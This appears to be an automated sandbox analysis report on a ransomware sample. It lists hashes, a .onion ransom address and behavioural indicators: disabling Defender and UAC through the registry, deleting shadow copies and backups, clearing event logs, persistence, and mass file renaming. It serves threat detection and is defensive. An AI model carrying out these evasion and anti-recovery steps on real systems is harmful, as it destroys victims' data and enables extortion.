Analysis
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max time kernel
149s -
max time network
152s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 01:31
Static task
static1
Behavioral task
behavioral1
Sample
fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Resource
win10v2004-20231222-en
General
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Target
fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
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Size
707KB
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MD5
3a05d0d1dd666062d9f90d68cb72149e
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SHA1
300095ce8f943c4b102c37eba712a286d6252f89
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SHA256
fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164
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SHA512
d1526eec9480f737ee1b853225c42bf4b0a2651f9f551a10319e16574ae9157979ebd3d020e496e08b3073786485575c55ac22dc59ef85be046bdddedec43fd8
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1/8yvnh:6uaTmkZJ+naie5OTamgEoKxLWech
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1664 fsutil.exe 3704 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3500 wevtutil.exe 2896 wevtutil.exe 3388 wevtutil.exe 3536 wevtutil.exe 3128 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 2688 bcdedit.exe 2816 bcdedit.exe 3772 bcdedit.exe 3184 bcdedit.exe -
Renames multiple (2862) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2944 wbadmin.exe 3524 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 3192 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\B: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\I: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\O: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\T: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\G: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\W: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\M: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Y: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\S: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\R: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\A: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\Z: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\U: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\E: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\J: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\K: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\X: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\N: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\Q: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\H: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\L: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\V: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened (read-only) \??\P: fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\jfluid-server-15.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Gibraltar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+3 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_zh_4.4.0.v20140623020002.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.hta fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push.png fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jayapura fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Toronto fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Aqtobe fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search.api fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_Private.key fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\#BlackHunt_ReadMe.hta fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pontianak fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Bishkek fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\#BlackHunt_ReadMe.hta fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Nauru fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_ReadMe.hta fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.update.configurator.nl_zh_4.4.0.v20140623020002.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Cordoba fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_matte.wmv fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\1047x576black.png fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationRight_SelectionSubpicture.png fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Dublin fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\mc.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.nl_ja_4.4.0.v20140623020002.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-ui_ja.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#BlackHunt_Private.key fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-sendopts.xml fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Dili fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+1 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\#BlackHunt_ReadMe.hta fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\plugins\audio_mixer\#BlackHunt_Private.key fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_Private.key fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInAcrobat.gif fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Lagos fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\jaccess.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\#BlackHunt_ReadMe.hta fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Notes_LOOP_BG.wmv fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Tunis fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Bermuda fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-options.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-ui.xml fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\#BlackHunt_Private.key fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia.api fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\js\jquery.jstree.js fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-utilities_ja.jar fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_ReadMe.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe File opened for modification C:\Program Files\7-Zip\Lang\tk.txt fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 836 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 3856 vssadmin.exe 2120 vssadmin.exe 2112 vssadmin.exe 3056 vssadmin.exe 1748 vssadmin.exe 1608 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 1308 taskkill.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 4004 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2028 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Token: SeRestorePrivilege 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Token: SeBackupPrivilege 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Token: SeTakeOwnershipPrivilege 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Token: SeAuditPrivilege 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Token: SeSecurityPrivilege 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Token: SeIncBasePriorityPrivilege 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe Token: SeBackupPrivilege 2228 vssvc.exe Token: SeRestorePrivilege 2228 vssvc.exe Token: SeAuditPrivilege 2228 vssvc.exe Token: SeBackupPrivilege 1784 wbengine.exe Token: SeRestorePrivilege 1784 wbengine.exe Token: SeSecurityPrivilege 1784 wbengine.exe Token: SeSecurityPrivilege 3388 wevtutil.exe Token: SeBackupPrivilege 3388 wevtutil.exe Token: SeSecurityPrivilege 3536 wevtutil.exe Token: SeSecurityPrivilege 3128 wevtutil.exe Token: SeBackupPrivilege 3536 wevtutil.exe Token: SeBackupPrivilege 3128 wevtutil.exe Token: SeSecurityPrivilege 2896 wevtutil.exe Token: SeBackupPrivilege 2896 wevtutil.exe Token: SeSecurityPrivilege 3500 wevtutil.exe Token: SeBackupPrivilege 3500 wevtutil.exe Token: SeDebugPrivilege 1308 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2504 wrote to memory of 2688 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 29 PID 2504 wrote to memory of 2688 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 29 PID 2504 wrote to memory of 2688 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 29 PID 2504 wrote to memory of 2688 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 29 PID 2504 wrote to memory of 2800 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 31 PID 2504 wrote to memory of 2800 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 31 PID 2504 wrote to memory of 2800 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 31 PID 2504 wrote to memory of 2800 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 31 PID 2504 wrote to memory of 2852 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 32 PID 2504 wrote to memory of 2852 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 32 PID 2504 wrote to memory of 2852 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 32 PID 2504 wrote to memory of 2852 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 32 PID 2688 wrote to memory of 2788 2688 cmd.exe 34 PID 2688 wrote to memory of 2788 2688 cmd.exe 34 PID 2688 wrote to memory of 2788 2688 cmd.exe 34 PID 2504 wrote to memory of 3004 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 36 PID 2504 wrote to memory of 3004 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 36 PID 2504 wrote to memory of 3004 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 36 PID 2504 wrote to memory of 3004 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 36 PID 2504 wrote to memory of 2280 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 38 PID 2504 wrote to memory of 2280 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 38 PID 2504 wrote to memory of 2280 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 38 PID 2504 wrote to memory of 2280 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 38 PID 2800 wrote to memory of 2816 2800 cmd.exe 40 PID 2800 wrote to memory of 2816 2800 cmd.exe 40 PID 2800 wrote to memory of 2816 2800 cmd.exe 40 PID 2852 wrote to memory of 2620 2852 cmd.exe 41 PID 2852 wrote to memory of 2620 2852 cmd.exe 41 PID 2852 wrote to memory of 2620 2852 cmd.exe 41 PID 2280 wrote to memory of 2612 2280 cmd.exe 42 PID 2280 wrote to memory of 2612 2280 cmd.exe 42 PID 2280 wrote to memory of 2612 2280 cmd.exe 42 PID 3004 wrote to memory of 2608 3004 cmd.exe 43 PID 3004 wrote to memory of 2608 3004 cmd.exe 43 PID 3004 wrote to memory of 2608 3004 cmd.exe 43 PID 2504 wrote to memory of 1700 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 44 PID 2504 wrote to memory of 1700 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 44 PID 2504 wrote to memory of 1700 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 44 PID 2504 wrote to memory of 1700 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 44 PID 2504 wrote to memory of 2696 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 46 PID 2504 wrote to memory of 2696 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 46 PID 2504 wrote to memory of 2696 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 46 PID 2504 wrote to memory of 2696 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 46 PID 2504 wrote to memory of 2780 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 48 PID 2504 wrote to memory of 2780 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 48 PID 2504 wrote to memory of 2780 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 48 PID 2504 wrote to memory of 2780 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 48 PID 2504 wrote to memory of 2604 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 50 PID 2504 wrote to memory of 2604 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 50 PID 2504 wrote to memory of 2604 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 50 PID 2504 wrote to memory of 2604 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 50 PID 2504 wrote to memory of 2704 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 52 PID 2504 wrote to memory of 2704 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 52 PID 2504 wrote to memory of 2704 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 52 PID 2504 wrote to memory of 2704 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 52 PID 2504 wrote to memory of 2636 2504 fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe 54 PID 2504 wrote to memory of 2636 2504 